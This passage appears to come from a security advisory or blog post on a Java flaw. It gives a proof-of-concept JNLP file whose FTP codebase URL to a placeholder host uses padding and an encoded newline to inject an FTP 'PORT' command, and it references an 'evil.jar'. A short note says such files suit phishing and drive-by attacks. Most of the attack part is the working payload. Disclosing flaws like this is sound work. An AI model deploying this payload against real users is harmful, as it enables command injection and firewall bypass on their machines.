<jnlp spec="1.0+" codebase="ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%0APORT%2010,1,2,3,48,57/z.txt" href="">
    <information>
        <title>Will Oracle Ever Get It Right?</title>
        <vendor>Anonymous Pwner</vendor>
        <icon href="foo.jpg"/>
    </information>
    <resources>
        <!-- Application Resources -->
        <j2se version="1.6+" href="http://java.sun.com/products/autodl/j2se"/>
        <jar href="evil.jar" main="true" />
    </resources>
    <application-desc
         name="Will Oracle Ever Get It Right?"
         main-class="it.does.not.Matter"
         width="300"
         height="300">
     </application-desc>
     <update check="background"/>
</jnlp>

This will cause Java to try and fetch application components from FTP URLs that trigger the injection. JNLP files are easy to put in web pages, so this is how an attacker trigger the flaw in phishing or drive-by scenarios. Since JNLP files will be parsed by Java even if the browser plugin is disabled, it is a reasonably probable attack scenario.

Comments
Comments are closed.